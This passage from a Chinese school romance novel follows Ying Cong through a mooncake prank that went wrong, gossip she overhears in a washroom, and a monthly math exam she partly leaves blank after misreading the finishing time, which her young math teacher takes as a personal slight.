“里面还有咖啡吗?”盛逸的眉头逐渐舒展,露出一个了然的笑容,接着便开始发表自己的美食评鉴,“甜中带了些微苦,简直就是天才级别的调味。”
“没尝出来其他东西吗?”应琮顾不得此举会暴露自己,追问道。
盛逸咂咂嘴,颇有点意犹未尽:“你再给我一个,我再仔细尝尝。”
见另外一块月饼也没有让他中招,应琮陡然紧张起来,她立即转身看向身后那个安静的人。
杨乐也已经吃完自己手上的月饼,正好和她对上眼神。
“你觉得味道怎么样?”
应琮语气里,有几分紧张。
对方沉吟几秒,像是回味,又像是在思考如何评价。
“Tasty。”
杨乐的声音不大,但足以令她听得清清楚楚。
完了。
哪怕听到的都是好评,当应琮缓缓地转身回去时,却脸白如纸。
自己明明将加了料的月饼单独放在袋子的另一个夹层中,就为了能区分出来,好好整一整盛逸。
但现在看来,无论是盛逸还是杨乐,都没有人吃到自己的特制月饼。
那就只有一个可能了……
看向班级门口的方向,只有几个同学的身影。
按道理假期后的早晨,班主任会在班级里现身才对啊?
应琮咬着自己的指尖,心乱如麻。
"喂,"盛逸突然倾身过来,属于洗涤剂的淡淡气息扑在她耳畔,"你该不会真在月饼里下毒了吧?"
少年带笑的尾音让应琮猛地一颤。
她盯着对方骨节分明的手——那指尖正悠闲地转着钢笔,而十分钟前就是这只手,毫无防备地掰开了自己精心准备的月饼。
“现在装哑巴了?”
钢笔“咔嗒”一声敲在课桌上,盛逸忽然压低声音,“老实交代说不定还能弥补——”
看着他黑白分明的眼眸,应琮咬咬牙,“许老师。”
“月饼好像被误送给许老师了。”
给依依的是另外包装在其他图案盒子中的月饼,自己不会拿错。
那么就只有一个可能,自己早上放在许文言办公桌上的月饼,错拿成了给盛逸的加料月饼。
“许文言?”盛逸故作不可置信道,“看不出来啊应琮同学,你还真是胆大包天。”
“都说了是不小心搞错了。”应琮闷闷道。
难道是自己起床太早头脑不清醒吗?明明装得好好的,还能拿错。
“没事的,”盛逸安慰道,“她也不知道是你送的吧。”
话音刚落,他余光明显可见同桌的脸又白了些,在灯光下几乎要变成透明的一般,仿佛下一秒就要碎掉。
“……你还留名了啊?”他的语气轻了些。
应琮点点头。
毕竟是过节送礼,她就顺便写了一张贺卡。
这下好了,成为自己居心叵测、整蛊老师的罪证。
看到她被吓得脸色苍白,盛逸扶额,颇有些无奈:“没事,我们一起去办公室把它们偷回来就好了。”
“偷回来?……我们?”
“许老师上午要在走班教室连上两节课,估计根本没有时间回办公室,更别说吃月饼了。”现在只是第一节课的课间。
前门传来鞋跟敲击地面的响声,应琮一个激灵,还以为许老师来了。
盛逸突然伸手捏住她腕骨,玻璃窗映出走廊上逐渐清晰的身影。物理老师标志性的黑色西装套装像朵飘近的乌云,遮住了她最后的希望——
完了,下节课是最爱拖堂的物理课。
应琮感觉盛逸的拇指无意识摩挲了一下她的皮肤,像是在试探脉搏,这个本该让人不自在的动作此刻却让她无暇撇开。
显然盛逸也注意到了物理老师的到来,他连忙改变主意:“我们还是趁现在去吧!”
"现在跑还来得及。"
少年突然抓紧她的手腕,温热的呼吸扫过她耳尖,"物理老师还算好糊弄,就说去医务室——”
*
办公室附近,两个人鬼鬼祟祟地停下脚步,站在门口张望。
“桌子附近好像没有人。”应琮小声道。
但是每个办公桌前都有挡板割出独立空间,仅仅是从门口看去,无法判断许文言的座位上有没有人。
“还是我一个人进去吧,”盛逸忽然说,“两个人一起太显眼。而且就算许老师在,我也可以假装问她地理题目。”
应琮看看他,比起自己,对方似乎更擅长演戏。
“……好吧,那你小心点。”她不放心地叮嘱道。
“比起某些连恶作剧都搞不明白的人,我还是很聪明的。”
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意有所指地说完这句话后,盛逸便大步走进办公室。
但是等在办公室门口,总会遇到许多上完课后回去的老师,有些老师投来奇怪的眼神,不明白她为什么等在门口不进去。
应琮不得不退到离办公室几十米远的位置,低头看地。
“应琮!”
上课的第二声铃随着这声低喝骤然亮起,盛逸走来时,神情不容乐观。
应琮贴着消防栓往后缩了缩。
"出了点问题,年级主任以为我是小偷,说要调监控。"
盛逸的声音是不同寻常的慌张,却在瞥见她发颤的睫毛时突然倾身,干净的眼眸里净是真挚。
"你说我现在去自首,供出主犯能减刑吗?"
应琮刚要炸毛,手里突然被塞进一个沉甸甸的袋子,烫金包装上还贴着她早上匆忙写下的便利贴:“亲爱的许老师……”
“我出手哪有失败的道理,不过同桌你放的位置真挺随意的,我估计你亲爱的许老师还没来得及发现呢……”
一堆纸质资料上面放一个小小的白色礼品袋的确不显眼,许文言要是看到了肯定会顺手收在一起。
物归原主,应琮总算松了一口气。
她掏出月饼盒子,打开却发现少了一个,惊慌之下连忙看向盛逸,恰好看到这家伙正在撕包装袋。
“你干嘛?!”
看到他的动作,应琮的眼眸顿时变得圆圆的,“都说了这两个被我加料了。”
“我突然饿了。”
盛逸将手上的月饼一把塞进嘴里,还不忘装模做样地教训她,“而且你的幼儿园老师没教过吗,我们不能浪费粮食。”
既然是专门给他做的,哪有不尝尝的道理。
应琮收回手,既然有人要作死,她也不拦着。
反正垃圾桶就在不远处,就算是吐也找得到地方。
但盛逸这一回又没出现预料中的反应。
“你确定这里面加料了?”
又一口气吃完两块月饼,盛逸低头看向她,长长的睫毛微颤,在晨光中投下阴影。
应琮同样疑惑不解。
刚刚盛逸的动作太快,导致她都忘记辨认上面是否有自己昨天做的记号。
如果说这些月饼都是正常的味道,那自己特意做的那两块月饼又在哪里呢?
*
当上了一天课的裴少言终于带着小婷回家时,早就已经天黑了。
他熟练地解开狗狗脖颈上的项圈、给它擦脚、又让它回到自己的窝里休息。
裴少言拉开屋里的窗帘,有条不紊地做着家事。
家里非常安静,小婷也慢慢合上自己的眼睛。
简单收拾完屋子,裴少言从冰箱里拿出两块小巧的月饼,放在盘中。
看着盘中的月饼,他一语不发,只是低垂着眼睫,似乎在回想着什么。
圆月不知何时高悬夜空,皎洁的月光落在地板上,带着不可明说的一阵冷意。
想到昨日应琮为新同桌做月饼时情不自禁露出的笑容,裴少言忍不住捏紧指关节。
但是……想到他爸昨天面对应琮饶有兴味的探寻眼神,他更加无法忍受。
总有一天……
*
月亮爬得更加高了,夜深人静。
在洁白如玉的盘子中央,放着一黄一白两块月饼。
每个月饼的侧面,都能够发现一个用牙签小心翼翼刻出来的标记。
——“SY”
裴少言将月饼放入嘴中,感受着跳跳糖在口腔里的跳跃。
应琮从来不在他面前展现这一面。
为什么?
他垂眸,凝视着盘中仅剩的一块月饼,心里忽然冒出一个荒唐的想法:
明明自己才是那个SY。
23. 第 23 章
下午最后一节课,班主任许文言拿着一摞东西来到班里,环顾教室内,发现同学们的桌面竟然都出乎意料的干净整洁,她眉尾一扬。
“看来你们消息还挺灵通的。”她笑笑,“还知道提前收拾收拾自己的东西。”
“当然,”班主任宠臣丁一锐在下面接话道,“我们少说也考过大大小小十几次考试了,怎么会连这点眼力见都不懂呢。”
明天就是月考第一日,早点收拾东西还可以在教室后排的空位占上个好位置。
“我将各科考试时间和考场的安排表贴在门口,大家有空时记得看。”许文言叮嘱道。
趁着坐在后排,应琮索性直接蹲在桌下,认真地排布着书箱里的格局,堪比玩收纳小游戏。
然而无论她将练习册调转多少次方向,已经被塞得毫无一丝空隙的箱子都无法再容纳了,抽屉里依然还有一大摞书放不进去。
这和收行李一个道理,不知不觉就会越收越多。
明明才上了一个月的学,可比起之前刚分班时,东西已然多了一倍不止。
“怎么发了这么多书……”另一边的盛逸小声抱怨道,“一人就一个箱子,根本放不完嘛。”
他扭头看去,显然应琮也陷入和自己一样的困境。
“你也放不下?”盛逸挑挑眉。
应琮点头。
自己怎么忘了,分班时还没有发新书,所以东西少。
但是按考试的规定,教室里肯定是不能留东西的。
如果直接把东西放在外面,又害怕会被日晒雨淋,或者是丢了,毕竟要考三天,中途还要找资料复习也不方便。
可带回家的话……看着一本本书,她表情有些微妙。
这是自己单薄身躯无法承受之重啊!
失策了,应琮猫着腰,费力地将箱盖合上。
再站起来时,竟然有些头晕目眩,在一边眼疾手快的盛逸握住她手臂顺手扶了一把。应琮赶紧站直身子,将自己已经变得沉重的书包拉过来,不禁叹了口气。
“……”盛逸差点因她的神情失笑,“同桌,你知道为什么蜗牛动作那么慢吗?”
应琮头也不抬地把厚厚的《五三》塞进书包:“说人话。”
“我是说——”
少年突然伸长手臂抽走她怀里的课本,但是不敢拍在大小姐的头上,只能放在自己桌上。
“与其学蜗牛背着重重的壳回家,不如在学校给书本找个去处。”
应琮看着自己的课本被他桌上的钢笔不小心划了一道,哪怕心里觉得他的主意可取,也还是忍无可忍地轻踹了他椅子腿:"说重点!"
“重点就是,”盛逸灵活地躲过,突然举起右手,"老师!我实名举报应琮同学故意伤害!"
话音刚落,全班几乎是半秒钟就眼神聚焦到这个角落,许老师从班委会议里抬起头:"盛逸,你又搞什么鬼?"
应琮没想盛逸平时和丁一锐当现眼包就算了,这次居然还带上了自己的大名。
她在班级里一向是隐形人定位,被这么多人一盯,忍不住脸上泛红,不知道是气的还是不好意思。
“这次真不是!”
盛逸窜上讲台时带翻了粉笔盒,粉笔头雨点般砸在离许文言最近的丁一锐头发上,又激起笑声一片。
“老师您看——”他先装模作样让同学们安静一下,接着忽然双手合十对着班主任恳求道,“能不能借办公室宝地暂存我们无处安放的知识?”
完全被忽视的丁一锐顶着满头粉笔灰,先是给盛逸背后来了重重一掌,又配合举手:“臣附议!”
知道他的打算,许老师无奈叹气:“可以是可以,但......”
“保证分类编号!”盛逸变魔术似的从口袋里掏出一沓便利贴,“按学号贴好标签,绝不占用老师办公区,取用安静有序——”
他突然转身朝台下扬声,“同意的举手!”
三十多双手齐刷刷举起,手的丛林中,丁一锐甚至举起了自己拾到一半的粉笔盒。
“就知道你们没那么省心......”许老师笑骂着甩了甩手上的点名册,“空间有限,不许强求!月考结束就必须把东西拿回来!”
欢呼声中,盛逸蹦回座位,朝应琮摊开手掌:“劳务费,帮你省了打车钱。”
“要钱没有,”应琮把《五三》从书包拿出来拍在他桌上,“要命一条。”
“好了,按照顺序,今天轮到第三组留下来搞卫生。大家也可以开始清空桌椅,把箱子搬到教室后面摆整齐。”
许文言终于和班委叮嘱完注意事项,看看时间,差不多也到了放学的时候。
“收拾好东西后,其他同学就可以放学了。至于晚修大家就直接去对应的考场里复习。”
*
去办公室放完书后,应琮发现自己的手上竟然黑一块白一块的。
也许是刚刚收拾东西不小心碰到哪里了,毕竟即使是如她这般讲究的人,书箱也并不是一尘不染的。
去旁边的女厕所洗一下好了。
应琮来到水龙头下,一边搓洗自己的手,顺便抬头照照镜子。
作为重点高中,一中不仅对学生管束反而没那么严格,洗手间里也都装了镜子。这一点和格外强调不能关注外貌的一些学校不同,一定程度上也大大照顾了他们这些正值青春年少的学生追求美的需求。
镜子里,打着卷的马尾末梢沾着不知哪来的粉笔灰,像朵炸毛的蒲公英。
水珠顺着指尖滴落时,应琮听见隔间门锁弹开的咔嗒声。
“你们班那个应琮,就是烫了卷发的……”隔间有一个女生突然讲话,"听说她以前是1班的?"
“是啊,我原本以为1班的都会选全理科……”
隔壁隔间传来卷纸巾的沙沙声,“不过她的头发好像不是烫的。”
应琮关水龙头的动作顿了顿,洗手液泡沫顺着指缝往下滑,在瓷砖上洇出小小的月牙。
亲耳听到别人在议论自己还是挺尴尬的,但是好歹人家为她解释了自然卷的误会。
自己与众不同的发型和较浅的发色、眸色都源于奶奶身上的外国血统,应琮打一进入这个学校就被严格的班主任盯上了,还大张旗鼓地请来了应女士要说法。
彼时刚刚离婚没多久的应女士比现在要刚硬许多,直接带着厚厚一沓的家庭相册来作证,当着整个办公室老师的面质问班主任为什么不相信她女儿的解释。
虽然应琮被母亲的爱保护得很好,但客观来说,这也导致了自己高一整整一年都没得到那个古板、傲慢的班主任一次好脸。
1班的同学比私立学校的学生还要会察言观色、体察上意,自然也学着班主任的模样,对她这一异类“敬而远之”。
若不是裴少言,她可能早就受不了转班了。
曾经也算是胜友如云的她,来到这个人生地不熟的地方,除了极善交际的程依依最终攻破她的心防,结为好友,应琮平时根本没有可以一起说话的人。
她甚至觉得自己已经失去了交新朋友的能力。
“你们不觉得她像漫画里走出来的大小姐吗?”第三个声音加入讨论,“上次我值日擦黑板,她还递给我湿纸巾说粉笔灰会伤皮肤。”
镜子里的应琮心中一动。
她记得班里那个爱扎苹果头的女生,当时对方手背确实沾着荨麻疹似的红疹。
“可是她和盛逸到底什么情况?”
最开
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始的女生突然话锋一转,“刚刚看他们还挺熟的,而且上次物理课他俩一起迟到不是很奇怪吗?”
“不知道啊。等等,不是还有001嘛?我记得高一年级里到处都传他们俩是一对。”
001,应琮知道,她们说的是裴少言。
里面的人不知道什么时候会出来,她应该趁早离开的,但不知为何,她的脚就好像被什么钉住了一样。
“他们是不是没有在一起啊,我看分班之后这两个人几乎没什么交集。”
“哪里,”第一个女声语气透着笃定,“我听其他走读生说,他们经常晚上一起放学回家呢。”
“这样吗!那为什么在学校里像不熟一样?”
“可能……”刚刚还替应琮解释的第二个女生,却漫不经心地说着惊雷般的话语,“还想在年级里再多养两条鱼?”
“啊?!”
另外两个女生的震撼,应琮隔着门板都能感受到。
她的指甲不知不觉掐进掌心,水渍在衣角晕开深色痕迹,像不断扩散的墨点。
应琮好像终于意识到自己正屏着呼吸,耳膜随着心跳咚咚作响。
隔间里几乎是同时传来冲水的声音,她像是惊醒般立刻快步离开。
这次不用照镜子她也能知道,自己现在脸上的表情有多么难看。
应琮没有心思仔细看路,只是沿着脚下的这条走廊,不断地加快速度。
原来在同班同学的眼中,自己竟然是这样的人吗?
冰冷、高傲,甚至还游走于不同的人之间,像是肆意玩弄他人感情的……
*
待应琮埋头走回教室时,大部分人都已经离开了,盛逸也没了踪影。
只剩下落日的余晖柔和地落在干干净净的一张张桌面上,铺上一层金光。
应琮莫名舒了一口气,如果说上次杨乐说她和盛逸感情好只是他随口一说、她随耳一听的话;那么这次的流言蜚语,她却无法装作不知道了。
如果此刻再遇到那家伙,自己还真不知道该如何装作若无其事地相处。
她有些木木地收好书包,将包甩上肩时,数学卷子从没拉好的缝隙里滑落,天女散花般散了一地。
应琮内心烦躁,蹲下来胡乱抓纸页,忽然看见一双灰白相间的球鞋停在自己的眼前。
“竞赛题纲第17页。”
裴少言的声音永远像刚从冰箱里拿出来一样,没有开场白便自顾自道,“你上次说要看。”
在抬头时,裴少言恰好蹲下来,三两下帮她收好散乱的卷子,又把文件夹叠在上面。
夕阳给他冷白的皮肤镀了层釉。
“现在没空。”应琮的声音有些闷。
抱着卷子站起来后,应琮发现他依然维持着给自己递卷子的姿势。
裴少言的睫毛在眼下投出细密的影,让她不由得想起前阵子补课到夜幕降临的每一晚。
身后传来嬉闹声,几个女生从走廊踢踢踏踏地走来。
应琮突然后退半步:“我不用了。”连她自己都没发现自己的声音变得有些奇怪。
“应琮,”裴少言少见地提高音量,再抬头,手里举着张她的周测卷,"这道几何题......"
“你非要现在和我讨论这个?”
打断的话尾,带着应琮自己都意外的尖锐。
走廊忽然安静得能听见树影摩挲窗棂的声音。
裴少言动作一滞,把卷子对折两次塞进她书包的侧袋。
“辅助线画错了。”他整洁的袖口无意间扫过她刚刚洇湿的衣角。
应琮沉默地看着他的背影一点点消失在暖融融的夕阳余晖里。
她突然觉得自己像一只逃避的鸵鸟。
24. 第 24 章
不知道过去了多久,落日残留的金光一寸寸地消弭,天色昏暗下来。
应琮勉强整理好自己纷杂的思绪,慢慢继续走。
“应琮?”
顺着声音,应琮看到一个熟悉的身影。
对方站在教室门口的不远处,手上还提着班级的垃圾桶,显然是刚刚倒完垃圾回来。
应琮慢半拍才反应过来:丁一锐是班长,而今天班委们都被额外分配了打扫任务。
“原来你还没走啊,我还以为你不要书包了呢!”
丁一锐自诩和应琮算是有三分交情,刚刚下楼丢垃圾之前看到对方孤零零在座位的书包,甚至还犹豫自己要不要替她收拾一下。
应琮心情不好,笑得很勉强。
“刚刚去上厕所了,现在我要走了。”
“哦哦,拜拜。”
丁一锐看她脸色不好,以为人家和自己一样,有考前肠道应激综合征,便贴心地不再多问。
应琮走后,他又将教室拉闸,门窗仔细关好。
正要离开时,他又被一个声音叫住了。
“诶诶!班长先别关门,我的东西还在里面。”
丁一锐回头,叫他的人是苹果头的武小圆,身后还缀着两个她的好朋友:熊颜颜和邹枫。
“怎么这么晚还没走啊?”
丁一锐认命地重新拿钥匙开锁,看着武小圆冲进去拿她放在桌肚里的书包。
“嘿嘿,我们刚在架空层聊八卦呢。”
“什么八卦?”
丁一锐顺嘴一问,心想应该又是明星的花边新闻。
其实他对这些不太感兴趣。
“欸对了,班长……”
熊颜颜突然神秘兮兮靠过去,“你和盛逸关系那么好……那你知不知道他和应琮是什么关系啊?”
?
敢情聊的是这个八卦啊?
丁一锐皱眉,“就同桌关系啊……能有啥关系?不过……”
“不过什么?”
三个女生眼神放光,齐齐看过来时,比夜晚的猫还惊人。
“不过他俩貌似比一般同桌还更不熟。”丁一锐嘴巴很老实。
比起盛逸那个狗不理,应琮对自己脸色还更好一点呢。
这些人真是乱八卦,总不能是看人家长得好看就凑CP吧?多少是有点乱点鸳鸯谱了。
丁一锐摇摇头,觉得考试前大家都有点精神状态不正常。
应琮那种竞赛级学霸刚刚也魂不守舍的……
咦,丁一锐又回头看了一眼还在旁边叽叽喳喳的三人组,心里无端冒出一个想法:
应琮方才不会是听到了她们的八卦,才脸色那么差的吧?
*
虽然考生名单有教务处专门打乱过,但由于考场必须要按照众学生的选科来排布,所以里面许多人都是熟面孔。
应琮特意出门得比平时早,就为了能够提前来考场熟悉熟悉。
实际上每一间教室都按照考场标准,布置得大差不差……若说熟悉环境,也没有那么必要。
奈何应琮此人,一直以来都坚信“良好的开始是成功的一半”。
既然已经破天荒地早起准备,再不济老天爷也要看看自己对待这次考试的诚意,让她的考运旺上几分。毕竟应琮待在这个高手如云的学校里,从来不敢以学霸自居,所以比起其他人来说,她对待考试格外虔诚。
应琮将书包里的语文资料、透明文具袋拿出来放在桌上,显然做足了准备。
或许是因为语文一直是自己最不拿手的科目,所以她往往有些紧张,在一众气定神闲的考生中显得格格不入。
看看桌角上方贴着的信息条,上面白纸黑字印着自己的姓名、学号和座位号等信息。
小小月考,手拿把掐。
应琮虚虚握住自己的双拳,轻吐一口气,加强心理暗示。
抬头看看时间,距离第一场语文考试还有好一会儿,她索性拿了书往教室外走去。
许多学生同样不喜欢考场冷清压抑的复习氛围,各自拿了复习资料,站在走廊上热火朝天地复习起来。
“应琮,原来我们是一个考场的呀。”
一道女声从她身后响起。
应琮合上自己的书,转头看去,原来是副班长柳飞阳。
“嗯,”她点点头,“我坐在考场第一排。”
“我就坐在你的斜后面,”柳飞阳热情道,“难怪刚刚我看这个背影有些眼熟。”
应琮抿唇笑笑。
柳飞阳性格热情开朗又重情重义,和班里许多人都玩得不错。虽然自己和柳飞阳之间没有什么私交,但对方现在主动过来搭话,她也不至于冷冰冰地拒绝。
“你在看什么?”她主动挑起话题。
柳飞阳手上拿着的,既不是语文书也不是练习资料,上面的内容乍一看被记号笔涂得花花绿绿的,勾起了应琮的好奇心。
“哦,这是我自己做的作文素材积累本。”柳飞阳把手上拿着的笔记本摊得更开,凑近了些,“你要看看吗?”
“不,不用了。”
应琮避开她热情的举动,摇摇头,“我还是抓紧时间背一下答题模板比较好。”
“模板?”柳飞阳奇怪地看了她一眼。
“语文答题有什么模板好背,直接从文章和题干里提取就好了呀。”
“……比如说经典意象蕴含了哪些思想感情之类的。”
应琮的声音轻了些,有点不好意思。
听到她的话,柳飞阳脸上的表情愣了一瞬。
“我每次对赏析类的题目都很难把握,”应琮也有些无奈,“总有点摸不透作者的思想感情。”
“这个……这个也不一定就是你的原因,”柳飞阳下意识地安慰道,“一万个人心里有一万个哈姆雷特嘛。”
应琮点点头,表示认可:“你说得对,但是我还是需要临时抱佛脚。”
不仅是答题的模板需要快速地过一遍,就连文化常识,她也得再复习复习。
没办法,相较于一中里的同龄人,自己的语文水平实在是有些不体面。
“那你好好复习,我就不继续打扰你了。”
见她认真复习,柳飞阳便歇了和她闲聊几句的心思,礼貌地告辞。
看着书上密密麻麻的知识点,应琮无奈地叹了口气。
自己现在一怕周树人,二怕写作文。
要是能有个记忆面包就好了。
*
一中向来贯彻的口号就是“将平时的考试视作高考,将高考视作月考对待”。
所以即使是校内老师出的月考卷,题目的难度和奇葩程度,也不容小觑。
虽然应琮语文作答得依旧马马虎虎,但想到自己已经捱过最差的一科后,她的心情便明朗起来。
然而面对下午的数学考试,自然几家欢喜几家愁。
“CC,有没有那种万能的数学公式,只要写了就能得分的那种。”
程依依依然愁得肝肠寸断,连面前飘香四溢的黑椒猪扒饭都吃不下去。
“数学公式?”应琮放下手上的筷子,不解道,“按我们
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现在的课时进展也没学几个公式啊?你把三角函数那几个公式都背熟了吗?”
“呃……”程依依挠挠头,“sin、cos、tan什么的,有点容易记混啊。”
自己本来就对数字不是很敏感,偏偏死记硬背的功力也不深厚。
唉!天下苦数学久矣。
应琮眨了眨眼,没有接话。
“不是吗?”察觉到她的沉默,程依依反问道,“那你如果不记得公式了,怎么办?”
“……”应琮沉吟片刻,“实在不行,你试试直接推导?”
数学公式什么的,画个图就能弄明白原理了。
她好像没刻意花时间去背过。
“你、你还真是……”
只有在这方面,应琮会像裴少言那样,自然而然地流露出几分属于天才的“高傲”,程依依被噎得说不出话。
她低头用筷子戳起猪扒,愤愤然地塞进嘴里大嚼特嚼。
算了,自己一个艺术生,就算数学考不及格也是情理之中。
今天师傅做的猪扒不软不硬,还挺好吃的。
被美食治愈之后,程依依终于露出笑脸。
*
数学考试,恰好是许文言和隔壁班的化学老师一起负责监考。
看到自己熟悉的老师,应琮莫名有种心安的感觉。
距离正式考试开始前十五分钟,监考老师们将密封的试卷袋与答题卡依次展示给众人看。
“请在上面签个名。”
许文言将密封的试卷袋递给距离自己最近的应琮,目光柔和。
应琮没说什么,低头工工整整地签下自己的名字。
说起来,她还是第一次考试时坐在最前排呢。
讲台距离自己只有咫尺般的距离,她若是伸直腿,恐怕都能搭到讲台的边沿。
而黑板上方……应琮抬起头,发现自己同时在监控和老师的眼皮子底下。
有一种微妙的不自在,她不由得坐得更直了些。
待将卷子传到后面后,应琮便迫不及待地将其翻到尾页,研究起大题。
寻常考试的规矩也和高考无异,若没有正式打铃,便不允许考生下笔作答。
大题分值重,她习惯性地最先扫了扫卷子后面的几道大题。
虽然它们给的图都十分复杂,乍一看有些“吓人”,但根据题干的已知条件,还是能够一点点推导出来答案的。
这次的数学考试,感觉也不是很难嘛。
她又将卷子翻到正面,认真写好个人信息。
铃铃铃——
一阵急促的铃声后,全体考生齐齐落笔,争分夺秒地准备完成考卷。
应琮的身体微微前倾,专注地作答。
她的速度很快,几乎没怎么打草稿就能选出来正确的答案。
许文言站在讲台上,将教室里所有学生的行动尽收眼底。
注意到应琮行云流水般的答题,她的眼神不由得停留在对方的卷子上,若有所思。
在许文言的印象里,应琮高一的成绩虽然整体一般,但数学毕竟是她的强势科目,这又是本学期的一次正式考试,怎么样也该认真对待。
所以应该不是她为了答题速度而故意乱选的。
似乎是感受到许文言探究的目光,应琮原本正在涂卡的手一顿,将自己答题卡的左上角露了出来。
她是不是以为自己在检查考生信息的填写?
明明是在认真涂卡的,这孩子未免也太敏锐了。
许文言抿抿唇,收回自己的眼神。
25. 第 25 章
伴随着同样急促的一阵铃声,数学考试到此结束。
“打铃了,请大家把笔都放下。”
许文言站在讲台正中,语气严肃,“再不停笔,就算考试违规处理。”
每一列最后的同学闻声而起,安静地往前收着每个人的卷子。
听到铃声的刹那,应琮瞳孔骤缩。
她分明记得数学考试是还有20分钟结束!
应琮左手飞速翻动卷子,却在看到笔袋里放着的便签时浑身发凉——今早抄考试时间的时候一不留神,竟把几个时间看混了。
糟糕。
她慢慢地将手上的卷子翻过来,正面朝上。
应琮心里拔凉拔凉,太大意了。
原本她还在窃喜:经过这段时间的训练,自己做数学题的速度比以前快多了,时间绰绰有余。
因为这次的压轴题和前阵子老师给的竞赛题纲第17页那道题有点像,而她当时没收下裴少言的答案。
刚刚好不容易有点灵感,艰难尝试出自己用公式去推算老师说的第三种解法。
成功倒是成功了,但好像捡了芝麻丢了西瓜呢。
都怪她太过专注,应琮难得在数学考试之后脸色难看,心道是:但凡自己刚刚可以留意到周围此起彼伏的翻页声不同寻常就好了。
应琮的视线追随着监考老师腋下那叠越摞越高的答题卡,颇有些依依不舍。
*
直到雪白的纸页掠过门边、讲台……最后落入一只沾着粉笔灰的手里。
“这次咱们不用电子改卷。”数学组长弹了弹自己随意抽取的一张答题卡,"小许你来改最后两道压轴题。"
许老师接过试卷时,指腹恰好按在应琮写了又删的两种解法大题上面。
“诶!可以啊,这个学生在炫技啊?”
组长眼神老练,随意一瞥便发现了玄机,便拿起这张卷子,随手抓过红笔就是一顿勾,眼尾笑纹越来越明显。
“小许你来看,这个学生是个值得注意的好苗子……”
一中对这次月考还算重视,不用电子改卷是为了让学生直观看到自己的扣分点,但个人信息还是封得严严实实,组长想扒开看看也失败了。
许明年纪轻,即使不是班主任,但对自己的班也很上心。
他凑到组长旁边,只是看字迹便认出来这张答题卡来自班上数学最好的应琮同学。
许明的内心忍不住有点为学生骄傲。
“咦?”
组长刚把答题卡翻过来,便惊疑一声。
“怎么填空题一题都没做?”
这不对吧?
许明几乎是夺过纸张,定睛看清楚后,他反而不愿自己看清楚。
宁愿眼前的试卷是他的幻觉。
怎么会有人填空题完全空白?
应琮填空题怎么会完全空白?!
填空题第一、第二道,都是简单的基础题,和课本上的例题有异曲同工之处。
更何况就算是填空题实在不会写,也可以随便蒙一个答案上去,不至于空白吧!
非常不巧,这次月考,许明负责出的正是填空题,可谓是精挑细选才让整个科组最终决定下来的好题。
甚至为了适当地给学生放点水,他特意将最后一道填空题的答案安排成极为常见的“0”,如果运气好,恐怕蒙也能蒙对。
然而自己如此用心良苦,现在竟然出现了四道小题完全空白的学生!
这让他如何不生气。
许明忍着心里的愠怒,却忍不下脸上青一阵白一阵。
他干脆接过组长手上的红笔,从头开始批改这份答题卡。
不看不知道一看吓一跳,选择题都对了,大题不仅写得满满当当,而且也挑不出什么错处。
除了隔壁地方的证明顺序稍有跳脱外,几乎和他自己做出来的答案没什么区别。
既然不是能力不足,那便是态度的问题了。
组长也看出了不对劲,他试谈道:“你班里的学生啊?”
这一问,许明心中原有的骄傲一下变了味。
*
终于考完了月考,同学们陆续回到自己的班上,准备将教室恢复原样。
应琮自然也不例外,她背起书包顺着人流往楼下走。
刚走到三楼拐角,还没来得及进班,便听到数学课代表叫住自己。
“应琮,数学老师让你去找一下他。”
数学课代表的手上,拿着一叠年级刚印刷好的月考答案。
该来的总是要来的。
想到自己数学考试时发生的失误,应琮的神情没有意外,她转身往办公室走去。
这个时间点,办公室内并没有多少老师在,进进出出的只有学生。
应琮走到正埋头批卷的许明桌前,轻轻敲了一下他的挡板。
“老师,您找我?”
许明抬眸看了一眼,应琮站得规规矩矩,他将最上面的答题卡拿了下来。
“你知道自己填空题没有写吗?”他道,语气里没什么情绪。
无论怎么想,他都无法给学生的行为找到一个合适的理由。
都已经是高二的学生了,没道理还会出现把答案写在试卷上,而忘记抄在答题卡上的行为。
“知道。”应琮干脆利落地承认自己的错误。
“我把收卷时间记错了,所以后面没时间写填空题。”
“记错收卷时间?”
许明用沾着咖啡渍的杯子压住试卷,食指关节敲在空白的答题卡区域:“你全程都没抬头看黑板上老师写的时间吗?”
玻璃杯底与办公桌碰撞出闷响,应琮睫毛颤了一下。
许明还沉浸在自己的情绪中:他可以接受学生在知识、能力上有不足之处,但无法忍受学生的学习态度不端正,仿佛是在暗示他作为老师所做的不足。
除去填空题白扔的20分,应琮整张卷子的总分足有121分之高……如果填空题她都做对的话,在年级里肯定能名列前茅。
更何况……他记得应琮还是年级里晋级数学竞赛的同学之一。
想到这里,许明看向她的眼神变得有些复杂。
即使自己和这些学生相差的年龄不大,但有时候也真是无法理解他们的脑袋里究竟在想些什么。
“……”
应琮盯着那道随震动漾开的水痕,如果非要说的话,她考试时坐的位置过于靠前,讲台上摆放的桌子恰好遮盖住了黑板的下半部分,所以没有看到。
还是别解释了吧……应琮转而低头看着自己的脚尖,感觉这时候说多错多,火上浇油。
等不到自己想要的解释,许明深吸一口气。
“你是为了捉弄老师吗?”
他主动打破二人之间的沉默。
“当然不是。”
应琮立即澄清,她真的只是因为记错了收卷时间。
“连后面的压轴大题你都能拿满分,没道理这四道题不会做。”许明较真道。
他再一次翻开答题卡的背后,“而且这种解法我估计全年级找不出第二个。”
天啊,应琮有些汗颜,以前怎么
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没发现数学老师这么容易钻牛角尖。
话题绕来绕去又回到原点,应琮无奈地重复道:“因为没时间做了。”
“你是故意的吗?”许明不依不饶。
应琮耸肩的姿态更像是在敷衍他。
“我……”
她的话还没说出口,便被打断。
“我知道你高一跟的是吴老师,竞赛培训也一直是他给你上课。”许明忽然叹了一口气,原本挺直的脊背也变得弯了些,“你是更喜欢吴老师吗?想让他来带你?”
想起上周数学课上她还在埋头只做自己的题。自己站在讲台几次才忍下了怨气,心想这种天赋好的同学有自己的学习规划很正常。
然而真正让他郁闷的是上周三的偶遇。
那天许明抱着作业本穿过连廊,分明看见应琮在语文课上挺直腰板记笔记,笔尖追着板书唰唰作响——那是他从未在她数学课上见过的专注模样。
作为数学老师,数学理应还是她最热爱的科目,许明无法不挫败。
因为自己是一个刚毕业,初出茅庐的年轻老师,所以宁愿拿自己的成绩开玩笑,也要搞恶作剧吗?
“整个年级里,填空题平均正确率是0的,只有你一个。”许明轻轻道,似乎不愿再和她说什么,只是无力地摆了摆手。
应琮有些无措,她没想到这么简单的一件小事,竟然会被老师放大到这个地步。
难道自己还需要向他道歉吗?
可她都不在意自己白丢的20分。
气氛正僵持着,门口突然传来两声克制的敲门声。
“老师好。”
忽然有另一道清脆的女声从旁边响起,不卑不亢。
